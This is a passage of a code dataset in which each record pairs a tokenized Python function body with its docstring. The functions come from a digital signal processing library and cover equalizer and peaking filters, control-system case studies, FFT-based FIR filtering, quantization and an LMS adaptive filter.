Htemp<EOL><DEDENT>plt.figure(figsize=(<NUM_LIT:6>,<NUM_LIT:4>))<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.semilogx(F,<NUM_LIT:20>*np.log10(abs(H)))<EOL>plt.axis([<NUM_LIT:10>, fs/<NUM_LIT:2>, -<NUM_LIT:12>, <NUM_LIT:12>])<EOL>plt.grid()<EOL>plt.title('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.stem(np.arange(NB),GdB,'<STR_LIT:b>','<STR_LIT>')<EOL>plt.axis([<NUM_LIT:0>, NB-<NUM_LIT:1>, -<NUM_LIT:12>, <NUM_LIT:12>])<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.grid()<EOL>", "docstring": "Create a frequency response magnitude plot in dB of a ten band equalizer\nusing a semilogplot (semilogx()) type plot\n\n\nParameters\n----------\nGdB : Gain vector for 10 peaking filters [G0,...,G9]\nQ : Quality factor for each peaking filter (default 3.5)\n\nReturns\n-------\nNothing : two plots are created\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm import sigsys as ss\n>>> ss.ten_band_eq_resp([0,10.0,0,0,-1,0,5,0,-4,0])\n>>> plt.show()", "id": "f14910:m2"}
{"signature": "def peaking(GdB, fc, Q=<NUM_LIT>, fs=<NUM_LIT>):", "body": "mu = <NUM_LIT:10>**(GdB/<NUM_LIT>)<EOL>kq = <NUM_LIT:4>/(<NUM_LIT:1> + mu)*np.tan(<NUM_LIT:2>*np.pi*fc/fs/(<NUM_LIT:2>*Q))<EOL>Cpk = (<NUM_LIT:1> + kq *mu)/(<NUM_LIT:1> + kq)<EOL>b1 = -<NUM_LIT:2>*np.cos(<NUM_LIT:2>*np.pi*fc/fs)/(<NUM_LIT:1> + kq*mu)<EOL>b2 = (<NUM_LIT:1> - kq*mu)/(<NUM_LIT:1> + kq*mu)<EOL>a1 = -<NUM_LIT:2>*np.cos(<NUM_LIT:2>*np.pi*fc/fs)/(<NUM_LIT:1> + kq)<EOL>a2 = (<NUM_LIT:1> - kq)/(<NUM_LIT:1> + kq)<EOL>b = Cpk*np.array([<NUM_LIT:1>, b1, b2])<EOL>a = np.array([<NUM_LIT:1>, a1, a2])<EOL>return b,a<EOL>", "docstring": "A second-order peaking filter having GdB gain at fc and approximately\nand 0 dB otherwise.\n\nThe filter coefficients returns correspond to a biquadratic system function\ncontaining five parameters.\n\nParameters\n----------\nGdB : Lowpass gain in dB\nfc : Center frequency in Hz\nQ : Filter Q which is inversely proportional to bandwidth\nfs : Sampling frquency in Hz\n\nReturns\n-------\nb : ndarray containing the numerator filter coefficients\na : ndarray containing the denominator filter coefficients\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> import numpy as np\n>>> from sk_dsp_comm.sigsys import peaking\n>>> from scipy import signal\n>>> b,a = peaking(2.0,500)\n>>> f = np.logspace(1,5,400)\n>>> w,H = signal.freqz(b,a,2*np.pi*f/44100)\n>>> plt.semilogx(f,20*np.log10(abs(H)))\n>>> plt.ylabel(\"Power Spectral Density (dB)\")\n>>> plt.xlabel(\"Frequency (Hz)\")\n>>> plt.show()\n\n>>> b,a = peaking(-5.0,500,4)\n>>> w,H = signal.freqz(b,a,2*np.pi*f/44100)\n>>> plt.semilogx(f,20*np.log10(abs(H)))\n>>> plt.ylabel(\"Power Spectral Density (dB)\")\n>>> plt.xlabel(\"Frequency (Hz)\")", "id": "f14910:m3"}
{"signature": "def ex6_2(n):", "body": "x = np.zeros(len(n))<EOL>for k, nn in enumerate(n):<EOL><INDENT>if nn >= -<NUM_LIT:2> and nn <= <NUM_LIT:5>:<EOL><INDENT>x[k] = <NUM_LIT:8> - nn<EOL><DEDENT><DEDENT>return x<EOL>", "docstring": "Generate a triangle pulse as described in Example 6-2\nof Chapter 6.\n\nYou need to supply an index array n that covers at least [-2, 5]. \nThe function returns the hard-coded signal of the example.\n\nParameters\n----------\nn : time index ndarray covering at least -2 to +5.\n\nReturns\n-------\nx : ndarray of signal samples in x\n\nExamples\n--------\n>>> import numpy as np\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm import sigsys as ss\n>>> n = np.arange(-5,8)\n>>> x = ss.ex6_2(n)\n>>> plt.stem(n,x) # creates a stem plot of x vs n", "id": "f14910:m4"}
{"signature": "def position_CD(Ka,out_type = '<STR_LIT>'):", "body": "rs = <NUM_LIT:10>/(<NUM_LIT:2>*np.pi)<EOL>if out_type.lower() == '<STR_LIT>':<EOL><INDENT>b = np.array([Ka*<NUM_LIT>*rs])<EOL>a = np.array([<NUM_LIT:1>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0>])<EOL><DEDENT>elif out_type.lower() == '<STR_LIT>':<EOL><INDENT>b = np.array([<NUM_LIT>*Ka*rs])<EOL>a = np.array([<NUM_LIT:1>, <NUM_LIT>, <NUM_LIT>*Ka*rs])<EOL><DEDENT>elif out_type.lower() == '<STR_LIT>':<EOL><INDENT>b = np.array([<NUM_LIT>*Ka*rs])<EOL>a = np.array([<NUM_LIT:1>, <NUM_LIT>+<NUM_LIT>, <NUM_LIT>*<NUM_LIT>, <NUM_LIT>*Ka*rs])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return b, a<EOL>", "docstring": "CD sled position control case study of Chapter 18.\n\nThe function returns the closed-loop and open-loop\nsystem function for a CD/DVD sled position control\nsystem. The loop amplifier gain is the only variable\nthat may be changed. The returned system function can\nhowever be changed.\n\nParameters\n----------\nKa : loop amplifier gain, start with 50.\nout_type : 'open_loop' for open loop system function\nout_type : 'fb_approx' for closed-loop approximation\nout_type : 'fb_exact' for closed-loop exact\n\nReturns\n-------\nb : numerator coefficient ndarray\na : denominator coefficient ndarray \n\nNotes\n-----\nWith the exception of the loop amplifier gain, all\nother parameters are hard-coded from Case Study example.\n\nExamples\n--------\n>>> b,a = position_CD(Ka,'fb_approx')\n>>> b,a = position_CD(Ka,'fb_exact')", "id": "f14910:m5"}
{"signature": "def cruise_control(wn,zeta,T,vcruise,vmax,tf_mode='<STR_LIT:H>'):", "body": "tau = T/<NUM_LIT>*vmax/vcruise<EOL>g = <NUM_LIT><EOL>g *= <NUM_LIT:3>*<NUM_LIT>**<NUM_LIT:2>/<NUM_LIT> <EOL>Kp = T*(<NUM_LIT:2>*zeta*wn-<NUM_LIT:1>/tau)/vmax<EOL>Ki = T*wn**<NUM_LIT>/vmax<EOL>K = Kp*vmax/T<EOL>print('<STR_LIT>', np.sqrt(K/(Kp/Ki)))<EOL>print('<STR_LIT>', (K + <NUM_LIT:1>/tau)/(<NUM_LIT:2>*wn))<EOL>a = np.array([<NUM_LIT:1>, <NUM_LIT:2>*zeta*wn, wn**<NUM_LIT:2>])<EOL>if tf_mode == '<STR_LIT:H>':<EOL><INDENT>b = np.array([K, wn**<NUM_LIT:2>])      <EOL><DEDENT>elif tf_mode == '<STR_LIT>':<EOL><INDENT>b = np.array([<NUM_LIT:1>, <NUM_LIT:2>*zeta*wn-K, <NUM_LIT:0.>])   <EOL><DEDENT>elif tf_mode == '<STR_LIT>':<EOL><INDENT>b = np.array([ <NUM_LIT:1>, wn**<NUM_LIT:2>/K+<NUM_LIT:1>/tau, wn**<NUM_LIT:2>/(K*tau)])<EOL>b *= Kp<EOL><DEDENT>elif tf_mode == '<STR_LIT>':<EOL><INDENT>b = np.array([g, <NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return b, a<EOL>", "docstring": "Cruise control with PI controller and hill disturbance.\n\nThis function returns various system function configurations\nfor a the cruise control Case Study example found in \nthe supplementary article. The plant model is obtained by the\nlinearizing the equations of motion and the controller contains a\nproportional and integral gain term set via the closed-loop parameters\nnatuarl frequency wn (rad/s) and damping zeta.\n\nParameters\n----------\nwn : closed-loop natural frequency in rad/s, nominally 0.1\nzeta : closed-loop damping factor, nominally 1.0\nT : vehicle time constant, nominally 10 s\nvcruise : cruise velocity set point, nominally 75 mph\nvmax : maximum vehicle velocity, nominally 120 mph\ntf_mode : 'H', 'HE', 'HVW', or 'HED' controls the system function returned by the function \n'H'   : closed-loop system function V(s)/R(s)\n'HE'  : closed-loop system function E(s)/R(s)\n'HVW' : closed-loop system function V(s)/W(s)\n'HED' : closed-loop system function E(s)/D(s), where D is the hill disturbance input\n\nReturns\n-------\nb : numerator coefficient ndarray\na : denominator coefficient ndarray \n\nExamples\n--------\n>>> # return the closed-loop system function output/input velocity\n>>> b,a = cruise_control(wn,zeta,T,vcruise,vmax,tf_mode='H')\n>>> # return the closed-loop system function loop error/hill disturbance\n>>> b,a = cruise_control(wn,zeta,T,vcruise,vmax,tf_mode='HED')", "id": "f14910:m6"}
{"signature": "def splane(b,a,auto_scale=True,size=[-<NUM_LIT:1>,<NUM_LIT:1>,-<NUM_LIT:1>,<NUM_LIT:1>]):", "body": "M = len(b) - <NUM_LIT:1><EOL>N = len(a) - <NUM_LIT:1><EOL>plt.figure(figsize=(<NUM_LIT:5>,<NUM_LIT:5>))<EOL>N_roots = np.array([<NUM_LIT:0.0>])<EOL>if M > <NUM_LIT:0>:<EOL><INDENT>N_roots = np.roots(b)<EOL><DEDENT>D_roots = np.array([<NUM_LIT:0.0>])<EOL>if N > <NUM_LIT:0>:<EOL><INDENT>D_roots = np.roots(a)<EOL><DEDENT>if auto_scale:<EOL><INDENT>size[<NUM_LIT:0>] = min(np.min(np.real(N_roots)),np.min(np.real(D_roots)))-<NUM_LIT:0.5><EOL>size[<NUM_LIT:1>] = max(np.max(np.real(N_roots)),np.max(np.real(D_roots)))+<NUM_LIT:0.5><EOL>size[<NUM_LIT:1>] = max(size[<NUM_LIT:1>],<NUM_LIT:0.5>)<EOL>size[<NUM_LIT:2>] = min(np.min(np.imag(N_roots)),np.min(np.imag(D_roots)))-<NUM_LIT:0.5><EOL>size[<NUM_LIT:3>] = max(np.max(np.imag(N_roots)),np.max(np.imag(D_roots)))+<NUM_LIT:0.5><EOL><DEDENT>plt.plot([size[<NUM_LIT:0>],size[<NUM_LIT:1>]],[<NUM_LIT:0>,<NUM_LIT:0>],'<STR_LIT>')<EOL>plt.plot([<NUM_LIT:0>,<NUM_LIT:0>],[size[<NUM_LIT:2>],size[<NUM_LIT:3>]],'<STR_LIT>')<EOL>x_scale = size[<NUM_LIT:1>]-size[<NUM_LIT:0>]<EOL>y_scale = size[<NUM_LIT:3>]-size[<NUM_LIT:2>]<EOL>x_off = <NUM_LIT><EOL>y_off = <NUM_LIT><EOL>if M > <NUM_LIT:0>:<EOL><INDENT>N_uniq, N_mult=signal.unique_roots(N_roots,tol=<NUM_LIT>, rtype='<STR_LIT>')<EOL>plt.plot(np.real(N_uniq),np.imag(N_uniq),'<STR_LIT>',mfc='<STR_LIT:None>',ms=<NUM_LIT:8>)<EOL>idx_N_mult = np.nonzero(np.ravel(N_mult><NUM_LIT:1>))[<NUM_LIT:0>]<EOL>for k in range(len(idx_N_mult)):<EOL><INDENT>x_loc = np.real(N_uniq[idx_N_mult[k]]) + x_off*x_scale<EOL>y_loc =np.imag(N_uniq[idx_N_mult[k]]) + y_off*y_scale<EOL>plt.text(x_loc,y_loc,str(N_mult[idx_N_mult[k]]),ha='<STR_LIT>',va='<STR_LIT>',fontsize=<NUM_LIT:10>)<EOL><DEDENT><DEDENT>if N > <NUM_LIT:0>:<EOL><INDENT>D_uniq, D_mult=signal.unique_roots(D_roots,tol=<NUM_LIT>, rtype='<STR_LIT>')<EOL>plt.plot(np.real(D_uniq),np.imag(D_uniq),'<STR_LIT>',ms=<NUM_LIT:8>)<EOL>idx_D_mult = np.nonzero(np.ravel(D_mult><NUM_LIT:1>))[<NUM_LIT:0>]<EOL>for k in range(len(idx_D_mult)):<EOL><INDENT>x_loc = np.real(D_uniq[idx_D_mult[k]]) + x_off*x_scale<EOL>y_loc =np.imag(D_uniq[idx_D_mult[k]]) + y_off*y_scale<EOL>plt.text(x_loc,y_loc,str(D_mult[idx_D_mult[k]]),ha='<STR_LIT>',va='<STR_LIT>',fontsize=<NUM_LIT:10>)<EOL><DEDENT><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.axis(np.array(size))<EOL>return M,N<EOL>", "docstring": "Create an s-plane pole-zero plot.\n\nAs input the function uses the numerator and denominator \ns-domain system function coefficient ndarrays b and a respectively. \nAssumed to be stored in descending powers of s.\n\nParameters\n----------\nb : numerator coefficient ndarray. \na : denominator coefficient ndarray. \nauto_scale : True \nsize : [xmin,xmax,ymin,ymax] plot scaling when scale = False \n\nReturns\n-------\n(M,N) : tuple of zero and pole counts + plot window\n\nNotes\n-----\nThis function tries to identify repeated poles and zeros and will \nplace the multiplicity number above and to the right of the pole or zero.\nThe difficulty is setting the tolerance for this detection. Currently it\nis set at 1e-3 via the function signal.unique_roots.\n\nExamples\n--------\n>>> # Here the plot is generated using auto_scale\n>>> splane(b,a)\n>>> # Here the plot is generated using manual scaling\n>>> splane(b,a,False,[-10,1,-10,10])", "id": "f14910:m7"}
{"signature": "def OS_filter(x,h,N,mode=<NUM_LIT:0>):", "body": "P = len(h)<EOL>x = np.hstack((np.zeros(P-<NUM_LIT:1>),x))<EOL>L = N - P + <NUM_LIT:1><EOL>Nx = len(x)<EOL>Nframe = int(np.ceil(Nx/float(L)))<EOL>x = np.hstack((x,np.zeros(Nframe*L-Nx)))<EOL>y = np.zeros(int(Nframe*N))<EOL>y_mat = np.zeros((Nframe,int(Nframe*N)))<EOL>H = fft.fft(h,N)<EOL>for k in range(Nframe):<EOL><INDENT>xk = x[k*L:k*L+N]<EOL>Xk = fft.fft(xk,N)<EOL>Yk = H*Xk<EOL>yk = np.real(fft.ifft(Yk)) <EOL>y[k*L+P-<NUM_LIT:1>:k*L+N] = yk[P-<NUM_LIT:1>:]<EOL>y_mat[k,k*L:k*L+N] = yk<EOL><DEDENT>if mode == <NUM_LIT:1>:<EOL><INDENT>return y[P-<NUM_LIT:1>:Nx], y_mat[:,P-<NUM_LIT:1>:Nx]<EOL><DEDENT>else:<EOL><INDENT>return y[P-<NUM_LIT:1>:Nx]<EOL><DEDENT>", "docstring": "Overlap and save transform domain FIR filtering.\n\nThis function implements the classical overlap and save method of\ntransform domain filtering using a length P FIR filter.\n\nParameters\n----------\nx : input signal to be filtered as an ndarray\nh : FIR filter coefficients as an ndarray of length P\nN : FFT size > P, typically a power of two\nmode : 0 or 1, when 1 returns a diagnostic matrix\n\nReturns\n-------\ny : the filtered output as an ndarray\ny_mat : an ndarray whose rows are the individual overlap outputs.\n\nNotes\n-----\ny_mat is used for diagnostics and to gain understanding of the algorithm.\n\nExamples\n--------\n>>> n = arange(0,100)\n>>> x = cos(2*pi*0.05*n)\n>>> b = ones(10)\n>>> y = OS_filter(x,h,N)\n>>> # set mode = 1\n>>> y, y_mat = OS_filter(x,h,N,1)", "id": "f14910:m8"}
{"signature": "def OA_filter(x,h,N,mode=<NUM_LIT:0>):", "body": "P = len(h)<EOL>L = int(N) - P + <NUM_LIT:1> <EOL>Nx = len(x)<EOL>Nframe = int(np.ceil(Nx/float(L)))<EOL>x = np.hstack((x,np.zeros(Nframe*L-Nx)))<EOL>y = np.zeros(Nframe*N)<EOL>y_mat = np.zeros((Nframe,Nframe*N))<EOL>H = fft.fft(h,N)<EOL>for k in range(Nframe):<EOL><INDENT>xk = x[k*L:(k+<NUM_LIT:1>)*L]<EOL>Xk = fft.fft(xk,N)<EOL>Yk = H*Xk<EOL>yk = np.real(fft.ifft(Yk))<EOL>y[k*L:k*L+N] += yk<EOL>y_mat[k,k*L:k*L+N] = yk<EOL><DEDENT>if mode == <NUM_LIT:1>:<EOL><INDENT>return y[<NUM_LIT:0>:Nx], y_mat[:,<NUM_LIT:0>:Nx]<EOL><DEDENT>else:<EOL><INDENT>return y[<NUM_LIT:0>:Nx]<EOL><DEDENT>", "docstring": "Overlap and add transform domain FIR filtering.\n\nThis function implements the classical overlap and add method of\ntransform domain filtering using a length P FIR filter.\n\nParameters\n----------\nx : input signal to be filtered as an ndarray\nh : FIR filter coefficients as an ndarray of length P\nN : FFT size > P, typically a power of two\nmode : 0 or 1, when 1 returns a diagnostic matrix\n\nReturns\n-------\ny : the filtered output as an ndarray\ny_mat : an ndarray whose rows are the individual overlap outputs.\n\nNotes\n-----\ny_mat is used for diagnostics and to gain understanding of the algorithm.\n\nExamples\n--------\n>>> import numpy as np\n>>> from sk_dsp_comm.sigsys import OA_filter\n>>> n = np.arange(0,100)\n>>> x = np.cos(2*pi*0.05*n)\n>>> b = np.ones(10)\n>>> y = OA_filter(x,h,N)\n>>> # set mode = 1\n>>> y, y_mat = OA_filter(x,h,N,1)", "id": "f14910:m9"}
{"signature": "def lp_samp(fb,fs,fmax,N,shape='<STR_LIT>',fsize=(<NUM_LIT:6>,<NUM_LIT:4>)):", "body": "plt.figure(figsize=fsize)<EOL>f = np.arange(-fmax,fmax+fmax/<NUM_LIT>,fmax/<NUM_LIT>)<EOL>A = <NUM_LIT:1.0><EOL>line_ampl = A/<NUM_LIT>*np.array([<NUM_LIT:0>, <NUM_LIT:1>])<EOL>shapes = ['<STR_LIT>', '<STR_LIT>']<EOL>if shape.lower() not in shapes:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if shape.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f,lp_tri(f,fb))<EOL>for n in range(N):<EOL><INDENT>plt.plot(f, lp_tri(f - (n + <NUM_LIT:1>) * fs, fb), '<STR_LIT>')<EOL>plt.plot(f, lp_tri(f + (n + <NUM_LIT:1>) * fs, fb), '<STR_LIT>')<EOL><DEDENT><DEDENT>elif shape.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot([fb, fb],line_ampl,'<STR_LIT:b>', linewidth=<NUM_LIT:2>)<EOL>plt.plot([-fb, -fb],line_ampl,'<STR_LIT:b>', linewidth=<NUM_LIT:2>)<EOL>for n in range(N):<EOL><INDENT>plt.plot([fb+(n+<NUM_LIT:1>)*fs, fb+(n+<NUM_LIT:1>)*fs],line_ampl,'<STR_LIT>', linewidth=<NUM_LIT:2>)<EOL>plt.plot([-fb+(n+<NUM_LIT:1>)*fs, -fb+(n+<NUM_LIT:1>)*fs],line_ampl,'<STR_LIT>', linewidth=<NUM_LIT:2>)<EOL>plt.plot([fb-(n+<NUM_LIT:1>)*fs, fb-(n+<NUM_LIT:1>)*fs],line_ampl,'<STR_LIT>', linewidth=<NUM_LIT:2>)<EOL>plt.plot([-fb-(n+<NUM_LIT:1>)*fs, -fb-(n+<NUM_LIT:1>)*fs],line_ampl,'<STR_LIT>', linewidth=<NUM_LIT:2>)<EOL><DEDENT><DEDENT>plt.ylabel('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.axis([-fmax,fmax,<NUM_LIT:0>,<NUM_LIT:1>])<EOL>plt.grid()<EOL>", "docstring": "Lowpass sampling theorem plotting function.\n\nDisplay the spectrum of a sampled signal after setting the bandwidth, \nsampling frequency, maximum display frequency, and spectral shape.\n\nParameters\n----------\nfb : spectrum lowpass bandwidth in Hz\nfs : sampling frequency in Hz\nfmax : plot over [-fmax,fmax]\nshape : 'tri' or 'line'\nN : number of translates, N positive and N negative\nfsize : the size of the figure window, default (6,4)\n\nReturns\n-------\nNothing : A plot window opens containing the spectrum plot\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm.sigsys import lp_samp\n\nNo aliasing as bandwidth 10 Hz < 25/2; fs > fb.\n\n>>> lp_samp(10,25,50,10)\n>>> plt.show()\n\nNow aliasing as bandwidth 15 Hz > 25/2; fs < fb.\n\n>>> lp_samp(15,25,50,10)", "id": "f14910:m10"}
{"signature": "def lp_tri(f, fb):", "body": "x = np.zeros(len(f))<EOL>for k in range(len(f)):<EOL><INDENT>if abs(f[k]) <= fb:<EOL><INDENT>x[k] = <NUM_LIT:1> - abs(f[k])/float(fb)<EOL><DEDENT><DEDENT>return x<EOL>", "docstring": "Triangle spectral shape function used by :func:`lp_samp`.\n\nParameters\n----------\nf : ndarray containing frequency samples\nfb : the bandwidth as a float constant\n\nReturns\n-------\nx : ndarray of spectrum samples for a single triangle shape\n\nNotes\n-----\nThis is a support function for the lowpass spectrum plotting function\n:func:`lp_samp`.\n\nExamples\n--------\n>>> x = lp_tri(f, fb)", "id": "f14910:m11"}
{"signature": "def sinusoidAWGN(x,SNRdB):", "body": "<EOL>x_pwr = np.var(x)<EOL>noise = np.sqrt(x_pwr/<NUM_LIT:10>**(SNRdB/<NUM_LIT>))*np.random.randn(len(x));<EOL>return x + noise<EOL>", "docstring": "Add white Gaussian noise to a single real sinusoid.\n\nInput a single sinusoid to this function and it returns a noisy\nsinusoid at a specific SNR value in dB. Sinusoid power is calculated\nusing np.var.\n\nParameters\n----------\nx : Input signal as ndarray consisting of a single sinusoid\nSNRdB : SNR in dB for output sinusoid\n\nReturns\n-------\ny : Noisy sinusoid return vector\n\nExamples\n--------\n>>> # set the SNR to 10 dB\n>>> n = arange(0,10000)\n>>> x = cos(2*pi*0.04*n)\n>>> y = sinusoidAWGN(x,10.0)", "id": "f14910:m12"}
{"signature": "def simpleQuant(x,Btot,Xmax,Limit):", "body": "B = Btot-<NUM_LIT:1><EOL>x = x/Xmax<EOL>if Limit.lower() == '<STR_LIT>':<EOL><INDENT>xq = (np.mod(np.round(x*<NUM_LIT:2>**B)+<NUM_LIT:2>**B,<NUM_LIT:2>**Btot)-<NUM_LIT:2>**B)/<NUM_LIT:2>**B<EOL><DEDENT>elif Limit.lower() == '<STR_LIT>':<EOL><INDENT>xq = np.round(x*<NUM_LIT:2>**B)+<NUM_LIT:2>**B<EOL>s1 = np.nonzero(np.ravel(xq >= <NUM_LIT:2>**Btot-<NUM_LIT:1>))[<NUM_LIT:0>]<EOL>s2 = np.nonzero(np.ravel(xq < <NUM_LIT:0>))[<NUM_LIT:0>]<EOL>xq[s1] = (<NUM_LIT:2>**Btot - <NUM_LIT:1>)*np.ones(len(s1))<EOL>xq[s2] = np.zeros(len(s2))<EOL>xq = (xq - <NUM_LIT:2>**B)/<NUM_LIT:2>**B<EOL><DEDENT>elif Limit.lower() == '<STR_LIT:none>':<EOL><INDENT>xq = np.round(x*<NUM_LIT:2>**B)/<NUM_LIT:2>**B<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return xq*Xmax<EOL>", "docstring": "A simple rounding quantizer for bipolar signals having Btot = B + 1 bits.\n\nThis function models a quantizer that employs Btot bits that has one of\nthree selectable limiting types: saturation, overflow, and none. \nThe quantizer is bipolar and implements rounding.\n\nParameters\n----------\nx : input signal ndarray to be quantized\nBtot : total number of bits in the quantizer, e.g. 16\nXmax : quantizer full-scale dynamic range is [-Xmax, Xmax]\nLimit = Limiting of the form 'sat', 'over', 'none'\n\nReturns\n-------\nxq : quantized output ndarray\n\nNotes\n-----\nThe quantization can be formed as e = xq - x\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from matplotlib.mlab import psd\n>>> import numpy as np\n>>> from sk_dsp_comm import sigsys as ss\n>>> n = np.arange(0,10000)\n>>> x = np.cos(2*np.pi*0.211*n)\n>>> y = ss.sinusoidAWGN(x,90)\n>>> Px, f = psd(y,2**10,Fs=1)\n>>> plt.plot(f, 10*np.log10(Px))\n>>> plt.ylim([-80, 25])\n>>> plt.ylabel(\"Power Spectral Density (dB)\")\n>>> plt.xlabel(r'Normalized Frequency $\\omega/2\\pi$')\n>>> plt.show()\n\n>>> yq = ss.simpleQuant(y,12,1,'sat')\n>>> Px, f = psd(yq,2**10,Fs=1)\n>>> plt.plot(f, 10*np.log10(Px))\n>>> plt.ylim([-80, 25])\n>>> plt.ylabel(\"Power Spectral Density (dB)\")\n>>> plt.xlabel(r'Normalized Frequency $\\omega/2\\pi$')\n>>> plt.show()", "id": "f14910:m13"}
{"signature": "def prin_alias(f_in,fs):", "body": "return abs(np.rint(f_in/fs)*fs - f_in)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>", "docstring": "Calculate the principle alias frequencies.\n\nGiven an array of input frequencies the function returns an\narray of principle alias frequencies.\n\nParameters\n----------\nf_in : ndarray of input frequencies\nfs : sampling frequency\n\nReturns\n-------\nf_out : ndarray of principle alias frequencies\n\nExamples\n--------\n>>> # Linear frequency sweep from 0 to 50 Hz\n>>> f_in = arange(0,50,0.1)\n>>> # Calculate principle alias with fs = 10 Hz\n>>> f_out = prin_alias(f_in,10)", "id": "f14910:m14"}
{"signature": "def cascade_filters(b1,a1,b2,a2):", "body": "return signal.convolve(b1,b2), signal.convolve(a1,a2)<EOL>", "docstring": "Cascade two IIR digital filters into a single (b,a) coefficient set.\n\nTo cascade two digital filters (system functions) given their numerator\nand denominator coefficients you simply convolve the coefficient arrays.\n\nParameters\n----------\nb1 : ndarray of numerator coefficients for filter 1\na1 : ndarray of denominator coefficients for filter 1\nb2 : ndarray of numerator coefficients for filter 2\na2 : ndarray of denominator coefficients for filter 2\n\nReturns\n-------\nb : ndarray of numerator coefficients for the cascade\na : ndarray of denominator coefficients for the cascade\n\nExamples\n--------\n>>> from scipy import signal\n>>> b1,a1 = signal.butter(3, 0.1)\n>>> b2,a2 = signal.butter(3, 0.15)\n>>> b,a = cascade_filters(b1,a1,b2,a2)", "id": "f14910:m15"}
{"signature": "def soi_snoi_gen(s,SIR_dB,N,fi,fs = <NUM_LIT>):", "body": "n = np.arange(<NUM_LIT:0>,N+<NUM_LIT:1>)<EOL>K = len(fi)<EOL>si = np.zeros(N+<NUM_LIT:1>)<EOL>for k in range(K):<EOL><INDENT>si += np.cos(<NUM_LIT:2>*np.pi*fi[k]/fs*n);<EOL><DEDENT>s = s[:N+<NUM_LIT:1>]<EOL>Ps = np.var(s)<EOL>Psi = np.var(si)<EOL>r = s + np.sqrt(Ps/Psi*<NUM_LIT:10>**(-SIR_dB/<NUM_LIT:10>))*si<EOL>return r<EOL>", "docstring": "Add an interfering sinusoidal tone to the input signal at a given SIR_dB.\n\nThe input is the signal of interest (SOI) and number of sinsuoid signals\nnot of interest (SNOI) are addedto the SOI at a prescribed signal-to-\nintereference SIR level in dB. \n\nParameters\n----------\ns : ndarray of signal of SOI\nSIR_dB : interference level in dB\nN : Trim input signal s to length N + 1 samples\nfi : ndarray of intereference frequencies in Hz\nfs : sampling rate in Hz, default is 8000 Hz\n\nReturns\n-------\nr : ndarray of combined signal plus intereference of length N+1 samples\n\nExamples\n--------\n>>> # load a speech ndarray and trim to 5*8000 + 1 samples\n>>> fs,s = from_wav('OSR_us_000_0030_8k.wav')\n>>> r = soi_snoi_gen(s,10,5*8000,[1000, 1500])", "id": "f14910:m16"}
{"signature": "def lms_ic(r,M,mu,delta=<NUM_LIT:1>):", "body": "N = len(r)-<NUM_LIT:1>;<EOL>y = signal.lfilter(np.hstack((np.zeros(delta), np.array([<NUM_LIT:1>]))),<NUM_LIT:1>,r)<EOL>r_hat = np.zeros(N+<NUM_LIT:1>)<EOL>e = np.zeros(N+<NUM_LIT:1>)<EOL>ao = np.zeros(M+<NUM_LIT:1>)<EOL>z = np.zeros(M)<EOL>ym = np.zeros(M+<NUM_LIT:1>)<EOL>for k in range(N+<NUM_LIT:1>):<EOL><INDENT>r_hat[k],z = signal.lfilter(ao,np.array([<NUM_LIT:1>]),np.array([y[k]]),zi=z)<EOL>e[k] = r[k] - r_hat[k]<EOL>ao = ao + <NUM_LIT:2>*mu*e[k]*ym<EOL>ym = np.hstack((np.array([y[k]]), ym[:-<NUM_LIT:1>]))<EOL><DEDENT>F, Ao = signal.freqz(ao,<NUM_LIT:1>,<NUM_LIT>)<EOL>F/= (<NUM_LIT:2>*np.pi)<EOL>Ao = <NUM_LIT:20>*np.log10(abs(Ao))<EOL>return np.arange(<NUM_LIT:0>,N+<NUM_LIT:1>), r, r_hat, e, ao, F, Ao<EOL>", "docstring": "Least mean square (LMS) interference canceller adaptive filter.\n\nA complete LMS adaptive filter simulation function for the case of\ninterference cancellation. Used in the digital filtering case study.\n\nParameters\n----------\nM : FIR Filter length (order M-1)\ndelta : Delay used to generate the reference signal\nmu : LMS step-size\ndelta : decorrelation delay between input and FIR filter input\n\nReturns\n-------\nn : ndarray Index vector\nr : ndarray noisy (with interference) input signal\nr_hat : ndarray filtered output (NB_hat[n])\ne : ndarray error sequence (WB_hat[n])\nao : ndarray final value of weight vector\nF : ndarray frequency response axis vector\nAo : ndarray frequency response of filter\n\nExamples\n----------\n>>> # import a speech signal\n>>> fs,s = from_wav('OSR_us_000_0030_8k.wav')\n>>> # add interference at 1kHz and 1.5 kHz and\n>>> # truncate to 5 seconds\n>>> r = soi_snoi_gen(s,10,5*8000,[1000, 1500])\n>>> # simulate with a 64 tap FIR and mu = 0.005\n>>> n,r,r_hat,e,ao,F,Ao = lms_ic(r,64,0.005)", "id": "f14910:m17"}
